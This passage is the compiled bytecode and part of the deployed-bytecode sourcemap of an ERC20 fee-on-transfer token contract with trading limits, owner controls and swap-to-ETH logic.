ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b45773e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e5773e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008073e0a8bb1bbf6e5dba258ad2dff861fc846c911f26426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060aa14aec602b1dbeb7315bbb2934f66e4cca85be2e9b418c5fad2ca143e8eb664736f6c63430008100033

Deployed Bytecode Sourcemap

5658:11763:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11050:558;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7956:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9273:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8339:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9795:119;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16765:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8179:68;;;;;;;;;;;;;:::i;:::-;;3809:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8106:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11617:576;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6192:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9051:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8429:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3924:103;;;;;;;;;;;;;:::i;:::-;;9556:114;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9676:113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8253:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9165:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8946:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3584:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9412:138;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8029:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6310:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8534:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8679:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11050:558;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11241:10:::1;11226:12;:25;;;;11277:10;11262:12;:25;;;;11308:5;11298:7;:15;;;;11341:12;11324:14;:29;;;;11375:6;11364:8;:17;;;;11400:5;11392;:13;;;;11430:6;11416:11;:20;;;;11467:18;11483:1;11467:11;;:15;;:18;;;;:::i;:::-;11455:8;;:30;;:67;;;;;11504:18;11520:1;11504:11;;:15;;:18;;;;:::i;:::-;11489:11;;:33;;11455:67;:98;;;;;11535:18;11551:1;11535:11;;:15;;:18;;;;:::i;:::-;11526:5;;:27;;11455:98;11447:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;11050:558:::0;;;;;;;:::o;7956:67::-;7993:13;8016:5;;;;;;;;;;;;;;;;;8009:12;;7956:67;:::o;9273:133::-;9348:4;9355:37;9364:10;9376:7;9385:6;9355:8;:37::i;:::-;9400:4;9393:11;;9273:133;;;;:::o;8339:84::-;8392:7;8409:12;;8402:19;;8339:84;:::o;9795:119::-;9846:7;9901:11;;9879:19;;9863:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9856:56;;9795:119;:::o;16765:309::-;16863:4;16880:36;16890:6;16898:9;16909:6;16880:9;:36::i;:::-;16927:117;16936:6;16944:10;16956:87;16992:6;16956:87;;;;;;;;;;;;;;;;;:11;:19;16968:6;16956:19;;;;;;;;;;;;;;;:31;16976:10;16956:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;16927:8;:117::i;:::-;17062:4;17055:11;;16765:309;;;;;:::o;8179:68::-;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8240:5:::1;8223:14;;:22;;;;;;;;;;;;;;;;;;8179:68::o:0;3809:106::-;3864:4;3901:6;;;;;;;;;;;3890:17;;:7;:17;;;3883:24;;3809:106;;;:::o;8106:67::-;8147:5;5860:1;8155:16;;8106:67;:::o;11617:576::-;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11717:13:::1;11758:3;11750:4;11734:13;:11;:13::i;:::-;:20;;;;:::i;:::-;11733:28;;;;:::i;:::-;11717:44;;11772:19;11821:3;11811:6;11795:13;:11;:13::i;:::-;:22;;;;:::i;:::-;11794:30;;;;:::i;:::-;11772:52;;11835:17;11883:3;11872:7;11856:13;:11;:13::i;:::-;:23;;;;:::i;:::-;11855:31;;;;:::i;:::-;11835:51;;11919:4;11897:19;:26;;;;11956:6;11934:19;:28;;;;11993:7;11973:17;:27;;;;12011:13;12027:28;12052:2;12027:20;12045:1;12027:13;:11;:13::i;:::-;:17;;:20;;;;:::i;:::-;:24;;:28;;;;:::i;:::-;12011:44;;12083:5;12074;:14;;:38;;;;;12107:5;12092:11;:20;;12074:38;:60;;;;;12129:5;12116:9;:18;;12074:60;12066:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;11706:487;;;;11617:576:::0;;;:::o;6192:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;9051:108::-;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9149:8:::1;9125:11;:21;9137:8;9125:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;9051:108:::0;;:::o;8429:99::-;8495:7;8512:5;:14;8518:7;8512:14;;;;;;;;;;;;;;;;8505:21;;8429:99;;;:::o;3924:103::-;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3989:30:::1;4016:1;3989:18;:30::i;:::-;3924:103::o:0;9556:114::-;9604:7;9657:11;;9637:17;;9621:13;:11;:13::i;:::-;:33;;;;:::i;:::-;:47;;;;:::i;:::-;9614:54;;9556:114;:::o;9676:113::-;9721:7;9776:11;;9754:19;;9738:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9731:56;;9676:113;:::o;8253:80::-;8305:7;8323;:5;:7::i;:::-;8316:14;;8253:80;:::o;9165:102::-;9230:10;9222:5;:18;;;;9262:2;9249:10;:15;;9241:24;;;;;;9165:102;:::o;8946:99::-;3731:12;:10;:12::i;:::-;3720:23;;:7;:5;:7::i;:::-;:23;;;3712:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9035:8:::1;9017:5;:15;9023:8;9017:15;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;8946:99:::0;;:::o;3584:87::-;3630:7;3657:6;;;;;;;;;;;3650:13;;3584:87;:::o;9412:138::-;9471:7;9488:60;9526:21;9544:1;9526:9;:21::i;:::-;9488:33;9505:15;7020:42;9505:9;:15::i;:::-;9488:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;9481:67;;9412:138;:::o;8029:71::-;8068:13;8091:7;;;;;;;;;;;;;;;;;8084:14;;8029:71;:::o;6310:19::-;;;;;;;;;;;;;:::o;8534:139::-;8612:4;8619:40;8629:10;8641:9;8652:6;8619:9;:40::i;:::-;8667:4;8660:11;;8534:139;;;;:::o;8679:127::-;8760:7;8777:11;:18;8789:5;8777:18;;;;;;;;;;;;;;;:27;8796:7;8777:27;;;;;;;;;;;;;;;;8770:34;;8679:127;;;;:::o;314:98::-;367:7;394:10;387:17;;314:98;:::o;818:82::-;876:7;897:1;893;:5;;;;:::i;:::-;886:12;;818:82;;;;:::o;17083:335::-;17193:1;17176:19;;:5;:19;;;17168:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17274:1;17255:21;;:7;:21;;;17247:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17356:6;17326:11;:18;17338:5;17326:18;;;;;;;;;;;;;;;:27;17345:7;17326:27;;;;;;;;;;;;;;;:36;;;;17394:7;17378:32;;17387:5;17378:32;;;17403:6;17378:32;;;;;;:::i;:::-;;;;;;;;17083:335;;;:::o;10371:670::-;10460:37;10471:6;10479:9;10490:6;10460:10;:37::i;:::-;10508:38;10528:6;10536:9;10508:19;:38::i;:::-;10557:41;10572:6;10580:9;10591:6;10557:14;:41::i;:::-;10610:35;10627:6;10635:9;10610:16;:35::i;:::-;10656:39;10669:6;10677:9;10688:6;10656:12;:39::i;:::-;10707:35;10716:6;10724:9;10735:6;10707:8;:35::i;:::-;10769:25;10787:6;10769:5;:13;10775:6;10769:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;10753:5;:13;10759:6;10753:13;;;;;;;;;;;;;;;:41;;;;10805:22;10830:32;10844:6;10852:9;10830:13;:32::i;:::-;:78;;10902:6;10830:78;;;10865:34;10873:6;10881:9;10892:6;10865:7;:34::i;:::-;10830:78;10805:103;;10938:36;10959:14;10938:5;:16;10944:9;10938:16;;;;;;;;;;;;;;;;:20;;:36;;;;:::i;:::-;10919:5;:16;10925:9;10919:16;;;;;;;;;;;;;;;:55;;;;11007:9;10990:43;;10999:6;10990:43;;;11018:14;10990:43;;;;;;:::i;:::-;;;;;;;;10449:592;10371:670;;;:::o;1857:162::-;1943:7;1986:1;1981;:6;;1989:12;1973:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2015:1;2011;:5;2004:12;;1857:162;;;;;:::o;730:82::-;788:7;809:1;805;:5;;;;:::i;:::-;798:12;;730:82;;;;:::o;4036:191::-;4110:16;4129:6;;;;;;;;;;;4110:25;;4155:8;4146:6;;:17;;;;;;;;;;;;;;;;;;4210:8;4179:40;;4200:8;4179:40;;;;;;;;;;;;4099:128;4036:191;:::o;642:82::-;700:7;721:1;717;:5;;;;:::i;:::-;710:12;;642:82;;;;:::o;9923:439::-;10045:1;10027:20;;:6;:20;;;10019:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10129:1;10108:23;;:9;:23;;;10100:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10207:1;10190:6;:19;10182:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10284:17;10294:6;10284:9;:17::i;:::-;10274:6;:27;;10266:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;9923:439;;;:::o;12202:191::-;12295:11;:19;12307:6;12295:19;;;;;;;;;;;;;;;;;;;;;;;;;12294:20;:47;;;;;12319:11;:22;12331:9;12319:22;;;;;;;;;;;;;;;;;;;;;;;;;12318:23;12294:47;12291:95;;;12351:14;;;;;;;;;;;12343:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;12291:95;12202:191;;:::o;12402:329::-;12506:11;:19;12518:6;12506:19;;;;;;;;;;;;;;;;;;;;;;;;;12505:20;:47;;;;;12530:11;:22;12542:9;12530:22;;;;;;;;;;;;;;;;;;;;;;;;;12529:23;12505:47;:77;;;;;12577:4;;;;;;;;;;;12556:26;;:9;:26;;;;12505:77;:107;;;;;7020:42;12586:26;;:9;:26;;;;12505:107;12502:222;;;12670:17;:15;:17::i;:::-;12637:28;12658:6;12637:5;:16;12643:9;12637:16;;;;;;;;;;;;;;;;:20;;:28;;;;:::i;:::-;12636:51;;12628:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;12502:222;12402:329;;;:::o;12740:159::-;12837:4;;;;;;;;;;;12824:17;;:9;:17;;;:41;;;;;12846:11;:19;12858:6;12846:19;;;;;;;;;;;;;;;;;;;;;;;;;12845:20;12824:41;12821:71;;;12888:1;12867:9;;:23;;;;;;;:::i;:::-;;;;;;;;12821:71;12740:159;;:::o;12908:349::-;13019:4;;;;;;;;;;;13009:14;;:6;:14;;;13006:130;;13043:20;:18;:20::i;:::-;13033:6;:30;;:53;;;;13067:11;:19;13079:6;13067:19;;;;;;;;;;;;;;;;;;;;;;;;;13033:53;:79;;;;13090:11;:22;13102:9;13090:22;;;;;;;;;;;;;;;;;;;;;;;;;13033:79;13025:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;13006:130;13164:14;:12;:14::i;:::-;13154:6;:24;;:47;;;;13182:11;:19;13194:6;13182:19;;;;;;;;;;;;;;;;;;;;;;;;;13154:47;:73;;;;13205:11;:22;13217:9;13205:22;;;;;;;;;;;;;;;;;;;;;;;;;13154:73;13146:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;12908:349;;;:::o;15545:197::-;15637:41;15652:6;15660:9;15671:6;15637:14;:41::i;:::-;15634:101;;;15680:29;15695:13;;15680:14;:29::i;:::-;15731:1;15711:9;:22;;;;15634:101;15545:197;;;:::o;15751:160::-;15832:4;15857:11;:19;15869:6;15857:19;;;;;;;;;;;;;;;;;;;;;;;;;15856:20;:47;;;;;15881:11;:22;15893:9;15881:22;;;;;;;;;;;;;;;;;;;;;;;;;15880:23;15856:47;15849:54;;15751:160;;;;:::o;16218:538::-;16304:7;16360:1;16327:30;16339:6;16347:9;16327:11;:30::i;:::-;:34;16324:410;;;16373:17;16393:59;16421:30;16433:6;16441:9;16421:11;:30::i;:::-;16393:23;16404:11;;16393:6;:10;;:23;;;;:::i;:::-;:27;;:59;;;;:::i;:::-;16373:79;;16486:35;16511:9;16486:5;:20;16500:4;16486:20;;;;;;;;;;;;;;;;:24;;:35;;;;:::i;:::-;16463:5;:20;16477:4;16463:20;;;;;;;;;;;;;;;:58;;;;16562:4;16537:42;;16546:6;16537:42;;;16569:9;16537:42;;;;;;:::i;:::-;;;;;;;;16611:1;16593:7;;:20;16590:104;;;16615:77;16633:4;7020:42;16655:36;16683:7;;16655:23;16666:11;;16655:6;:10;;:23;;;;:::i;:::-;:27;;:36;;;;:::i;:::-;16615:9;:77::i;:::-;16590:104;16711:21;16722:9;16711:6;:10;;:21;;;;:::i;:::-;16704:28;;;;;16324:410;16742:6;16735:13;;16218:538;;;;;;:::o;554:82::-;612:7;633:1;629;:5;;;;:::i;:::-;622:12;;554:82;;;;:::o;15136:400::-;15234:4;15251:13;15277:15;;15267:6;:25;;15251:41;;15303:19;15353:13;;15325:24;15343:4;15325:9;:24::i;:::-;:41;;15303:63;;15385:8;;;;;;;;;;;15384:9;:24;;;;;15397:11;;;;;;;;;;;15384:24;:42;;;;;15412:14;;;;;;;;;;;15384:42;:54;;;;;15430:8;15384:54;:78;;;;;15443:11;:19;15455:6;15443:19;;;;;;;;;;;;;;;;;;;;;;;;;15442:20;15384:78;:99;;;;;15479:4;;;;;;;;;;;15466:17;;:9;:17;;;15384:99;:126;;;;;15508:1;15487:9;;:23;;15384:126;:144;;;;;15514:14;15384:144;15377:151;;;;15136:400;;;;;:::o;13266:1066::-;6951:4;6940:8;;:15;;;;;;;;;;;;;;;;;;13337:20:::1;13360:66;13424:1;13361:57;13403:14;;13361:37;13385:12;;13361:19;13378:1;13361:12;;:16;;:19;;;;:::i;:::-;:23;;:37;;;;:::i;:::-;:41;;:57;;;;:::i;:::-;13360:63;;:66;;;;:::i;:::-;13337:89;;13437:32;13472:42;13501:12;13472:24;13483:12;;13472:6;:10;;:24;;;;:::i;:::-;:28;;:42;;;;:::i;:::-;13437:77;;13525:14;13542:36;13553:24;13542:6;:10;;:36;;;